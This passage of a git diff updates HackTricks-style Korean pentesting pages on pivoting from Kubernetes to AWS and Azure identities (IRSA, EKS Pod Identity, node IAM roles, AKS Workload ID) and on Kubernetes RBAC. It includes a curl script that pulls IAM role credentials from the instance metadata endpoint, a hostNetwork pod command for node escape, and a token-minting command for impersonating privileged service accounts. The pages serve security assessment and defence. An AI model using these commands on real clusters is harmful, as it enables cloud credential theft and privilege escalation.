생성](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html)합니다. _trust relationship은 주로 OIDC provider 이름, namespace 이름, 그리고 SA 이름을 확인합니다_. +4. 마지막으로, **role의 ARN을 나타내는 annotation이 포함된 SA를 생성**하면, 그 SA로 실행되는 pod들은 **role의 token에 access**할 수 있습니다. **token**은 파일 안에 **written**되며, 경로는 **`AWS_WEB_IDENTITY_TOKEN_FILE`**에 지정됩니다(기본값: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) ```bash # Create a service account with a role cat >my-service-account.yaml < [!WARNING] -> 공격자로서 K8s cluster를 열거할 수 있다면, **그 annotation이 있는 service accounts**를 확인해 **AWS로 escalate** 하세요. 그렇게 하려면, IAM **privileged service accounts** 중 하나를 사용해 **pod를 exec/create** 하고 token을 탈취하면 됩니다. +> 공격자로서 K8s 클러스터를 열거할 수 있다면, **그 annotation이 있는 service accounts**를 확인해 **AWS로 escalate**하세요. 그러려면 IAM **privileged service accounts** 중 하나를 사용해 **pod**를 **exec/create**하고 token을 훔치면 됩니다. > -> 또한, pod 안에 있다면 **AWS_ROLE_ARN** 및 **AWS_WEB_IDENTITY_TOKEN.** 같은 env variables를 확인하세요. +> 또한 pod 안에 있다면, **AWS_ROLE_ARN** 및 **AWS_WEB_IDENTITY_TOKEN** 같은 env variables를 확인하세요. > [!CAUTION] -> 때때로 role의 **Turst Policy**가 **잘못 구성**되어 있어, 예상된 service account에 AssumeRole access를 주는 대신 **모든 service accounts**에 권한을 줄 수 있습니다. 따라서 controlled service account에 annotation을 쓸 수 있다면, 그 role에 접근할 수 있습니다. +> 때때로 role의 **Turst Policy**가 **잘못 설정**되어, 예상된 service account에 AssumeRole access를 주는 대신 **모든 service accounts**에 이를 줄 수 있습니다. 따라서, 제어하는 service account에 annotation을 쓸 수 있다면, 그 role에 access할 수 있습니다. > -> 더 많은 정보는 **다음 page를 확인하세요**: +> **더 많은 정보는 다음 페이지를 확인하세요**: {{#ref}} ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} -### Cluster에서 IAM Roles가 있는 Pods와 SAs 찾기 +### EKS Pod Identity -이것은 모든 pods와 sas 정의를 **순회하여** 그 **annotation**을 **찾는** 쉬운 script입니다: +EKS Pod Identity는 각 workload가 IRSA web identity token으로 STS를 호출하는 방식에 의존하지 않고, IAM role을 Kubernetes service account에 연결하는 AWS 관리형의 더 새로운 방법입니다. cluster는 nodes에서 EKS Pod Identity Agent를 실행하고, EKS API는 pod identity associations를 저장하며, 선택된 pods의 AWS SDKs는 agent가 노출하는 container credentials provider path를 통해 credentials를 얻습니다. + +Kubernetes에서 중요한 evidence는 여전히 service account와 pod 관계이지만, runtime signals는 IRSA와 다릅니다. `AWS_WEB_IDENTITY_TOKEN_FILE`만이 아니라 pods에서 AWS container credential environment variables를 찾으세요: +```bash +kubectl get pods -A -o yaml | grep -nE 'AWS_CONTAINER_CREDENTIALS|AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE|AWS_ROLE_ARN|AWS_WEB_IDENTITY_TOKEN_FILE' +kubectl get serviceaccounts -A -o yaml | grep -nE 'eks.amazonaws.com|role-arn' +kubectl get ds -A | grep -i 'pod.identity\|eks-pod-identity' +``` +AWS에서 associations를 열거한 다음, 이를 Kubernetes namespaces와 service accounts에 다시 매핑합니다: +```bash +aws eks list-pod-identity-associations --cluster-name +aws eks describe-pod-identity-association \ +--cluster-name \ +--association-id +``` +연결된 pod 내부에서, 주요 런타임 지표는 EKS가 주입한 container credentials provider 변수입니다: +```bash +env | grep -E '^AWS_CONTAINER_(CREDENTIALS_FULL_URI|AUTHORIZATION_TOKEN_FILE)=' +ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/ 2>/dev/null +aws sts get-caller-identity +``` +로컬 credential endpoint는 보통 `http://169.254.170.23/v1/credentials`이고, authorization token은 `pods.eks.amazonaws.com` audience를 위한 projected service account token입니다. AWS SDK credential-provider 순서가 여전히 적용된다는 점을 기억하세요: static environment credentials나 shared credential files가 체인의 앞쪽에 설정되어 있으면, pod는 Pod Identity association 대신 그것들을 사용할 수 있습니다. + +Pod Identity roles는 보통 `sts:AssumeRole`과 `sts:TagSession`에 대해 `pods.eks.amazonaws.com` service principal을 trust합니다. `kubernetes-namespace`, `kubernetes-service-account`, cluster tags 같은 request tags에 대한 trust-policy conditions를 검토하세요. 너무 넓은 조건은 재사용 가능한 role을 너무 많은 service account에 노출시킬 수 있습니다. Pod Identity는 temporary credentials에 session tags도 추가하며, 그 tags는 `${aws:PrincipalTag/kubernetes-namespace}` 또는 `${aws:PrincipalTag/kubernetes-service-account}` 기반의 resource access 같은 ABAC policies를 구동할 수 있습니다. + +cross-account access의 경우, Pod Identity association은 다른 account의 target role로 chain되는 same-account role을 사용할 수 있습니다. 그런 경우 EKS association role과 target role trust/policy, 두 계층을 모두 검토하세요. Pod Identity session tags는 role chain 전체에 걸쳐 transitive하므로, 어떤 cluster namespace와 service account가 remote account에 접근했는지 증명하는 데 유용한 evidence가 됩니다. + +> [!WARNING] +> EKS Pod Identity association이 있는 service account를 사용하는 pods를 생성하거나 수정할 수 있다면, 그 pod가 유용한 AWS permissions를 받는지 테스트하세요. 방어 관점에서는 새로운 pod identity associations, 예상치 못한 service account 사용, 그리고 특정 workload만 사용해야 하는 role에서 발생하는 AWS API calls를 alert 하세요. + +### EKS governance guardrails + +AWS 측에서 EKS를 검토할 때, IAM과 AWS Organizations guardrails가 principal이 광범위한 EKS permissions를 가진 것처럼 보여도 unsafe cluster configuration을 deny할 수 있다는 점을 기억하세요. 최근 EKS condition keys는 public 또는 private endpoint access, Kubernetes version, secrets-encryption KMS keys, deletion protection, control-plane scaling tier, zonal shift configuration 같은 cluster settings를 다룹니다. 이 keys는 IAM policies나 Service Control Policies에서 account-wide cluster baselines를 enforce하는 데 사용할 수 있습니다. + +이것은 attack impact와 triage 모두에 중요합니다. principal이 `eks:UpdateClusterConfig`를 호출할 수 있지만 SCP가 `eks:endpointPublicAccess`를 통해 public endpoint 활성화를 deny한다면, public API exposure를 주장하지 말고 시도된 위험한 action과 이를 차단한 guardrail을 보고하세요. 방어자라면 성공한 변경뿐 아니라 deny된 EKS configuration changes도 alert 하세요. deny된 시도는 compromised automation, 오래된 admin roles, 또는 덜 보호된 account로 pivot하기 전의 reconnaissance를 드러낼 수 있습니다. + +유용한 references: + +- [Amazon EKS IAM condition keys](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonelastickubernetesservice.html) +- [AWS Organizations service control policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html) + +### Find Pods a SAs with IAM Roles in the Cluster + +이것은 모든 pods와 sas definitions를 쉽게 **iterate over** 하며 해당 **annotation**을 **찾는** script입니다: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -255,26 +298,26 @@ done | grep -B 1 "amazonaws.com" ``` ### Node IAM Role to cluster-admin -이전 섹션은 pod로 IAM Role을 탈취하는 방법에 관한 것이었지만, **K8s cluster의 Node는 cloud 안의 instance**라는 점을 기억해야 합니다. 즉, Node는 높은 확률로 **탈취할 수 있는 IAM role**을 가지고 있습니다 (_보통 K8s cluster의 모든 node는 같은 IAM role을 가지므로, 각 node를 하나씩 확인해 볼 가치는 없을 수도 있습니다_). +이전 섹션에서는 pods로 IAM Roles를 훔치는 방법에 대해 다뤘지만, **K8s cluster의 Node는** **cloud 안의 instance**라는 점에 주의해야 합니다. 이는 Node가 IAM role을 가지고 있을 가능성이 매우 높고, 이를 훔칠 수 있다는 뜻입니다 (_보통 K8s cluster의 모든 node는 같은 IAM role을 가지므로, 각 node를 하나씩 확인해볼 가치가 없을 수도 있습니다_). node metadata endpoint에 접근하려면 다음이 필요합니다: -- pod 안에 있어야 하고, metadata endpoint가 최소 2 tcp hops로 설정되어 있어야 합니다. 이것은 가장 흔한 misconfiguration인데, 보통 cluster의 서로 다른 pod들이 깨지지 않으려면 metadata endpoint에 접근해야 하고, 여러 회사가 그냥 cluster의 모든 pod에서 metadata endpoint 접근을 허용하도록 결정하기 때문입니다. +- pod 안에 있고 metadata endpoint가 최소 2 tcp hops로 설정되어 있어야 합니다. 이는 가장 흔한 misconfiguration인데, 보통 cluster의 서로 다른 pods가 metadata endpoint에 접근해야만 정상 동작하기 때문이며, 많은 회사들이 cluster의 모든 pods에서 metadata endpoint 접근을 허용하도록 그냥 결정합니다. - `hostNetwork`가 enabled된 pod 안에 있어야 합니다. - node로 escape한 뒤 metadata endpoint에 직접 접근해야 합니다. (항상 그렇듯 metadata endpoint는 169.254.169.254에 있습니다). -더 최신 EKS 환경에서는 pod가 node instance profile에 도달할 수 있다고 가정하기 전에 node와 cluster mode를 확인하세요. Amazon Linux 2023 EKS optimized AMI는 기본적으로 IMDS hop limit을 1로 설정하고, EKS Auto Mode는 기본적으로 `disablePodIMDS`를 enabled하므로, operator가 해당 설정을 변경했거나 pod가 `hostNetwork` 또는 node compromise 같은 다른 node-level path를 갖고 있지 않다면 일반 pod는 node-role credentials를 받지 못해야 합니다. 권장 패턴은 pod의 node IMDS 접근을 차단하고, workload AWS permissions에는 IRSA 또는 EKS Pod Identity를 사용하는 것입니다. +더 최신 EKS 환경에서는 pods가 node instance profile에 도달할 수 있다고 가정하기 전에 node와 cluster mode를 확인하세요. Amazon Linux 2023 EKS optimized AMIs는 기본적으로 IMDS hop limit을 1로 설정하고, EKS Auto Mode는 기본적으로 `disablePodIMDS`를 enabled하므로, operator가 해당 설정을 변경했거나 pod가 `hostNetwork` 또는 node compromise 같은 다른 node-level path를 가진 경우가 아니라면 일반 pods는 node-role credentials를 받지 못해야 합니다. 권장 방식은 pod의 node IMDS 접근을 차단하고, workload AWS permissions에는 IRSA 또는 EKS Pod Identity를 사용하는 것입니다. -node로 **escape**하려면 `hostNetwork`를 enabled한 pod를 실행하기 위해 다음 command를 사용할 수 있습니다: +**node로 escape**하려면 `hostNetwork`가 enabled된 pod를 실행하는 다음 명령을 사용할 수 있습니다: ```bash kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}' ``` ### IAM Role Token 훔치기 -이전에 우리는 **IAM Roles를 Pods에 연결**하거나, 심지어 **Node로 탈출해서** 인스턴스에 연결된 IAM Role을 훔치는 방법에 대해 논의했습니다. +이전에는 **IAM Roles를 Pods에 attach하는 방법**이나, 심지어 **Node로 escape해서** 해당 instance에 attached된 **IAM Role**을 훔치는 방법에 대해 논의했습니다. -다음 스크립트를 사용하여 새로 어렵게 얻은 **IAM role credentials**를 **훔칠** 수 있습니다: +다음 script를 사용해서 당신이 새로 힘들게 얻은 **IAM role credentials**를 **steal**할 수 있습니다: ```bash IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null) if [ "$IAM_ROLE_NAME" ]; then @@ -291,7 +334,7 @@ fi 자세한 내용은 [this post](https://blog.calif.io/p/privilege-escalation-in-eks)를 확인하세요. 요약하자면, 기본적으로 EKS nodes에 할당되는 default IAM EKS role은 cluster 내부에서 `system:node` role로 할당됩니다. 이 role은 kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)에 의해 제한되지만 매우 흥미롭습니다. -하지만 node는 항상 해당 node 내부의 pods에서 실행 중인 service accounts에 대한 tokens를 **generate**할 수 있습니다. 따라서 node가 privileged service account를 사용하는 pod를 실행 중이라면, node는 그 service account의 token을 generate하고 다음과 같이 그 service account를 impersonate하는 데 사용할 수 있습니다: +하지만 node는 항상 해당 node 안의 pods에서 실행 중인 service accounts를 위한 tokens를 **generate**할 수 있습니다. 따라서 node가 privileged service account를 사용하는 pod를 실행 중이라면, node는 그 service account의 token을 generate하고 이를 사용해 다음과 같이 해당 service account를 impersonate할 수 있습니다: ```bash kubectl --context=node1 create token -n ns1 sa-priv \ --bound-object-kind=Pod \ @@ -300,13 +343,13 @@ kubectl --context=node1 create token -n ns1 sa-priv \ ``` ## Azure / AKS -AKS에서 평가는 동안 세 가지 identity path를 분리해서 유지하세요: +AKS에서는 평가 중 다음 3가지 identity 경로를 분리해서 유지하세요: -- **Azure to Kubernetes**: Azure principal은 Azure RBAC role이 허용하면 Azure Resource Manager를 통해 user 또는 admin kubeconfig를 가져올 수 있습니다. `az aks get-credentials --admin`에서 나오는 local admin kubeconfig는 certificate-based credential이며, local accounts가 비활성화되지 않았다면 일반적인 Microsoft Entra user/group governance를 우회할 수 있습니다. -- **Microsoft Entra to Kubernetes**: Entra-integrated cluster는 `kubelogin`/exec kubeconfig를 통해 users, groups, 또는 service principal을 인증합니다. 최종 Kubernetes action은 native Kubernetes RBAC 또는 Azure RBAC for Kubernetes Authorization으로 authorize될 수 있습니다. -- **Kubernetes to Azure**: Pods는 보통 Microsoft Entra Workload ID를 사용해야 하며, 이는 AKS OIDC issuer와 federated identity credential을 통해 projected Kubernetes service account token을 Entra와 교환합니다. +- **Azure to Kubernetes**: Azure principals는 Azure RBAC role이 이를 허용하면 Azure Resource Manager를 통해 user 또는 admin kubeconfigs를 가져올 수 있습니다. `az aks get-credentials --admin`의 local admin kubeconfigs는 certificate-based credentials이며, local accounts가 비활성화되지 않았다면 일반적인 Microsoft Entra user/group governance를 우회할 수 있습니다. +- **Microsoft Entra to Kubernetes**: Entra-integrated clusters는 `kubelogin`/exec kubeconfigs를 통해 users, groups, 또는 service principals를 authenticate합니다. 최종 Kubernetes action은 native Kubernetes RBAC 또는 Azure RBAC for Kubernetes Authorization에 의해 authorized될 수 있습니다. +- **Kubernetes to Azure**: Pods는 보통 Microsoft Entra Workload ID를 사용해야 하며, 이는 AKS OIDC issuer와 federated identity credentials를 통해 projected Kubernetes service account tokens를 Entra와 교환합니다. -Azure에서 유용한 AKS identity check: +Azure에서 유용한 AKS identity checks: ```bash az aks show -g -n \ --query '{disableLocalAccounts:disableLocalAccounts,enableAzureRBAC:enableAzureRBAC,oidcIssuerProfile:oidcIssuerProfile,securityProfile:securityProfile,identity:identity,identityProfile:identityProfile,nodeResourceGroup:nodeResourceGroup}' \ @@ -321,7 +364,7 @@ Kubernetes에서 AKS Workload ID 신호를 검색: kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8 kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8 ``` -관련 Workload ID 필드는 보통 다음과 같습니다: +관련된 Workload ID 필드는 보통 다음과 같습니다: ```yaml metadata: annotations: @@ -332,21 +375,43 @@ metadata: labels: azure.workload.identity/use: "true" ``` -클러스터가 여전히 deprecated된 Microsoft Entra pod-managed identity model을 사용한다면, Workload ID annotations 대신 이전 CRDs와 NMI/MIC components를 찾으세요: +더 새로운 AKS 환경에서는 **AKS Identity Bindings**(preview)를 사용해, subject마다 하나의 federated identity credential을 만들지 않고도 여러 cluster 또는 service account에 걸쳐 Workload ID를 확장할 수 있습니다. 이 모델에서는 user-assigned managed identity가 AKS cluster에 bind되고, workloads는 `azure.workload.identity/use-identity-binding: "true"`로 opt in하며, Kubernetes RBAC는 managed identity client ID로 이름 붙은 `cid.wi.aks.azure.com` resources에 대해 `use-managed-identity`를 grant합니다. 여기서 광범위한 `ClusterRoleBinding`은 direct federated identity credential subjects가 좁아 보이더라도, 예상보다 더 많은 namespace에 같은 Azure identity를 노출할 수 있습니다. +```bash +az aks identity-binding list -g --cluster-name -o yaml +kubectl get clusterrole,clusterrolebinding -o yaml | grep -n 'cid.wi.aks.azure.com\|use-managed-identity' -B 8 -A 12 +kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use-identity-binding' -B 8 -A 12 +``` +클러스터가 여전히 deprecated된 Microsoft Entra pod-managed identity model을 사용 중이라면, Workload ID annotations 대신 이전 CRDs와 NMI/MIC components를 찾아보세요: ```bash kubectl get crd | grep -i azureidentity kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity' ``` -AKS nodes are Azure VM scale set instances, so node or host-level access can expose Azure Instance Metadata Service at `169.254.169.254`. 일반적인 pod가 node managed identity credentials를 받아야 한다고 가정하지 마세요: workload identity 설정, legacy pod identity/NMI 동작, hostNetwork 사용, network controls, 그리고 node access를 먼저 확인하세요. node identity에 광범위한 Azure permissions가 있으면, application Workload ID가 올바르게 scoped되어 있어도 node compromise가 Azure pivot이 될 수 있습니다. +AKS node는 Azure VM scale set 인스턴스이므로, node 또는 host-level access를 통해 Azure Instance Metadata Service를 `169.254.169.254`에서 노출시킬 수 있습니다. 일반적인 pod가 node managed identity credentials를 받아야 한다고 가정하지 마세요: workload identity settings, legacy pod identity/NMI behavior, hostNetwork usage, network controls, 그리고 먼저 node access를 검증하세요. node identity에 광범위한 Azure permissions가 있다면, application Workload ID가 올바르게 scoped되어 있어도 node compromise가 Azure pivot이 될 수 있습니다. +AKS Automatic과 Node Auto-Provisioning (NAP)은 수집해야 할 node-side evidence를 변경합니다. AKS Automatic은 Workload ID/OIDC support, managed node pools, node resource group lockdown, managed upgrade behavior를 포함한 여러 production defaults를 사전 구성합니다. NAP는 managed Karpenter-based provisioning mode이며, `NodePool`, `AKSNodeClass`, `NodeClaim` 같은 Kubernetes resources를 사용해 pending workloads에 대해 어떤 node가 생성될지 결정합니다. 이러한 resources를 누가 modify할 수 있는지, high-impact scheduling controls, privileged pods, broad tolerations를 검토하세요; 또한 node resource group lockdown이 직접적인 VMSS/load balancer edits를 차단하고 변경을 Kubernetes 또는 AKS APIs를 통해 다시 수행하도록 강제했는지도 확인하세요. +```bash +az aks show -g -n \ +--query '{sku:sku,nodeProvisioningProfile:nodeProvisioningProfile,autoUpgradeProfile:autoUpgradeProfile,nodeResourceGroup:nodeResourceGroup,securityProfile:securityProfile}' \ +-o yaml + +kubectl get crd | grep -Ei 'nodepool|aksnodeclass|nodeclaim|karpenter' +kubectl get nodepools,aksnodeclasses,nodeclaims -A -o yaml 2>/dev/null +``` ## References - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity) - [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c) - [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/) +- [https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html) +- [https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html) - [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity) - [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview) +- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts](https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts) +- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings](https://learn.microsoft.com/en-us/azure/aks/identity-bindings) - [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization) +- [https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic) +- [https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning](https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning) +- [https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown](https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md index a0d6fa592..f1f088104 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md @@ -8,33 +8,39 @@ Kubernetes에는 API server에 대한 사용 권한을 설정하는 데 도움 RBAC의 permission model은 **세 가지 개별 부분**으로 구성된다: -1. **Role\ClusterRole –** 실제 permission. 권한 집합을 나타내는 _**rules**_ 를 포함한다. 각 rule에는 [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types)와 [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb)가 포함된다. verb는 resource에 적용될 action이다. -2. **Subject (User, Group or ServiceAccount) –** permissions를 받을 object. -3. **RoleBinding\ClusterRoleBinding –** Role\ClusterRole과 subject 사이의 connection. +1. **Role\ClusterRole ­–** 실제 permission. permission 집합을 나타내는 _**rules**_를 포함한다. 각 rule은 [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types)와 [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb)를 포함한다. verb는 resource에 적용될 action이다. +2. **Subject (User, Group or ServiceAccount) –** permissions를 받을 object이다. +3. **RoleBinding\ClusterRoleBinding –** Role\ClusterRole과 subject 사이의 connection이다. ![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png) -“**Roles**”와 “**ClusterRoles**”의 차이는 role이 적용되는 위치뿐이다. “**Role**”은 **하나의** **특정** **namespace**에만 access를 grant하는 반면, “**ClusterRole**”은 cluster의 **모든 namespace**에서 사용할 수 있다. 또한 **ClusterRoles**는 다음에 대한 access도 grant할 수 있다: +“**Roles**”와 “**ClusterRoles**”의 차이는 role이 적용되는 위치뿐이다. “**Role**”은 오직 **하나의** **specific** **namespace**에만 access를 부여하는 반면, “**ClusterRole**”은 cluster의 **모든 namespaces**에서 사용할 수 있다. 또한 **ClusterRoles**는 다음에 대한 access도 부여할 수 있다: - **cluster-scoped** resources (예: nodes). - **non-resource** endpoints (예: /healthz). -- namespaced resources (예: Pods), **모든 namespace에 걸쳐**. +- namespaced resources (예: Pods), **모든 namespaces across**. -**Kubernetes** 1.6부터 **RBAC** policies는 **기본적으로 enabled**되어 있다. 하지만 RBAC를 enable하려면 다음과 같은 것을 사용할 수 있다: +**Kubernetes** 1.6부터는 **RBAC** policies가 **기본적으로 enabled**되어 있다. 하지만 RBAC를 enable하려면 다음과 같은 것을 사용할 수 있다: ``` kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options ``` +Modern clusters can also configure the API server authorizer chain with `--authorization-config`, which points to an `AuthorizationConfiguration` file. This file can define ordered authorizers, multiple webhook authorizers, webhook timeouts, `failurePolicy`, cache settings, and CEL `matchConditions` that decide which requests are sent to a webhook. During a security review, do not stop at `--authorization-mode` if `--authorization-config` is present: read the referenced file and check whether a webhook can fail open with `NoOpinion`, whether match conditions skip sensitive resources, and whether all API server replicas use equivalent authorization configuration. + +Also check authentication configuration when reviewing anonymous API exposure. `--authentication-config` can scope the anonymous authenticator to specific paths such as `/livez`, `/readyz`, and `/healthz`. Anonymous health endpoint access is not the same as anonymous access to Kubernetes resources; the dangerous condition is an RBAC or authorizer path that lets `system:anonymous` or `system:unauthenticated` read or modify real API objects. + +Finally, treat membership in `system:masters` as cluster-admin-equivalent. Users or certificates in this group have unrestricted API access that bypasses normal RBAC and webhook authorization restrictions, so identity mappings that add this group can be more important than ordinary RoleBinding output. + ## Templates -**Role** 또는 **ClusterRole**의 template에서는 **role의 이름**, **namespace**(roles의 경우), 그리고 해당 role의 **apiGroups**, **resources**, **verbs**를 지정해야 합니다: +In the template of a **Role** or a **ClusterRole** you will need to indicate the **name of the role**, the **namespace** (in roles) and then the **apiGroups**, **resources** and **verbs** of the role: -- **apiGroups**는 이 rule이 적용되는 다양한 **API namespaces**를 포함하는 array입니다. 예를 들어, Pod definition은 apiVersion: v1. _여기에는 rbac.authorization.k8s.io 또는 \[\*] 같은 값이 올 수 있습니다_. -- **resources**는 이 rule이 적용되는 **리소스가 무엇인지**를 정의하는 array입니다. 모든 resources는 다음으로 찾을 수 있습니다: `kubectl api-resources --namespaced=true` -- **verbs**는 **허용된 verb**를 포함하는 array입니다. Kubernetes의 verb는 resource에 적용해야 하는 **action의 type**을 정의합니다. 예를 들어, list verb는 collections에 사용되고, "get"은 단일 resource에 사용됩니다. +- The **apiGroups** is an array that contains the different **API namespaces** that this rule applies to. For example, a Pod definition uses apiVersion: v1. _It can has values such as rbac.authorization.k8s.io or \[\*]_. +- The **resources** is an array that defines **which resources this rule applies to**. You can find all the resources with: `kubectl api-resources --namespaced=true` +- The **verbs** is an array that contains the **allowed verbs**. The verb in Kubernetes defines the **type of action** you need to apply to the resource. For example, the list verb is used against collections while "get" is used against a single resource. ### Rules Verbs -(_이 정보는_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb) _에서 가져왔습니다_) +(_This info was taken from_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb)) | HTTP verb | request verb | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | @@ -42,19 +48,21 @@ kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options | GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | | PUT | update | | PATCH | patch | -| DELETE | delete (for individual resources), deletecollection (for collections) | +| DELETE | delete (for individual resources), deletecollection (for collections) | -Kubernetes는 때때로 specialized verbs를 사용하여 추가 permissions에 대한 authorization을 확인합니다. 예를 들면: +Kubernetes sometimes checks authorization for additional permissions using specialized verbs. For example: - [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) -- `policy` API group의 `podsecuritypolicies` resources에 대한 `use` verb. +- `use` verb on `podsecuritypolicies` resources in the `policy` API group. - [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) -- `rbac.authorization.k8s.io` API group의 `roles`와 `clusterroles` resources에 대한 `bind`와 `escalate` verbs. +- `bind` and `escalate` verbs on `roles` and `clusterroles` resources in the `rbac.authorization.k8s.io` API group. - [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/) -- core API group의 `users`, `groups`, `serviceaccounts`에 대한 `impersonate` verb, 그리고 `authentication.k8s.io` API group의 `userextras`. +- `impersonate` verb on `users`, `groups`, and `serviceaccounts` in the core API group, and the `userextras` in the `authentication.k8s.io` API group. + +Kubernetes v1.36 also includes **constrained impersonation** as a beta feature. Instead of only granting the legacy all-or-nothing `impersonate` verb, clusters can grant mode-specific verbs such as `impersonate:user-info`, `impersonate:serviceaccount`, `impersonate:arbitrary-node`, or `impersonate:associated-node`, plus action-specific verbs such as `impersonate-on:user-info:list` on the target resource. Review both halves: the identity the subject can impersonate and the actions it can perform while impersonating. Legacy `impersonate` rules can still allow broader access, so do not assume constrained-looking verbs are enforced unless the API server version and access-review evidence confirm it. > [!WARNING] -> `kubectl api-resources --sort-by name -o wide`를 실행하면 각 resource가 지원하는 **모든 verbs**를 찾을 수 있습니다. +> You can find **all the verbs that each resource support** executing `kubectl api-resources --sort-by name -o wide` ### Examples ```yaml:Role @@ -80,13 +88,13 @@ rules: resources: ["secrets"] verbs: ["get", "watch", "list"] ``` -예를 들어 **ClusterRole**을 사용하여 특정 사용자가 실행할 수 있도록 허용할 수 있습니다: +예를 들어, 특정 사용자가 다음을 실행할 수 있도록 **ClusterRole**을 사용할 수 있습니다: ``` kubectl get pods --all-namespaces ``` ### **RoleBinding and ClusterRoleBinding** -[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding은 role에 정의된 permissions를 user 또는 사용자 집합에 부여합니다**. 이는 subjects(users, groups, 또는 service accounts) 목록과, 부여되는 role에 대한 reference를 포함합니다. **RoleBinding**은 특정 **namespace** 내에서 permissions를 부여하는 반면, **ClusterRoleBinding**은 그 access를 **cluster-wide**로 부여합니다. +[**문서에서:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding은 role에 정의된 권한을 user 또는 사용자 집합에 부여**합니다. 이는 subjects(users, groups, 또는 service accounts)의 목록과, 부여되는 role에 대한 reference를 가집니다. **RoleBinding**은 특정 **namespace** 내에서 권한을 부여하는 반면, **ClusterRoleBinding**은 그 접근 권한을 **cluster-wide**로 부여합니다. ```yaml:RoleBinding apiVersion: rbac.authorization.k8s.io/v1 # This role binding allows "jane" to read pods in the "default" namespace. @@ -124,11 +132,11 @@ apiGroup: rbac.authorization.k8s.io ``` **Permissions are additive** so if you have a clusterRole with “list” and “delete” secrets you can add it with a Role with “get”. So be aware and test always your roles and permissions and **specify what is ALLOWED, because everything is DENIED by default.** -### 확인할 가치가 있는 세부 사항 +### 확인할 만한 세부 사항 -RBAC는 YAML `kind`가 아니라 API URL에 나타나는 resource names를 사용한다. Pod는 `pods`, Deployment는 `deployments`이며, subresources는 `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` 또는 `services/proxy`처럼 슬래시로 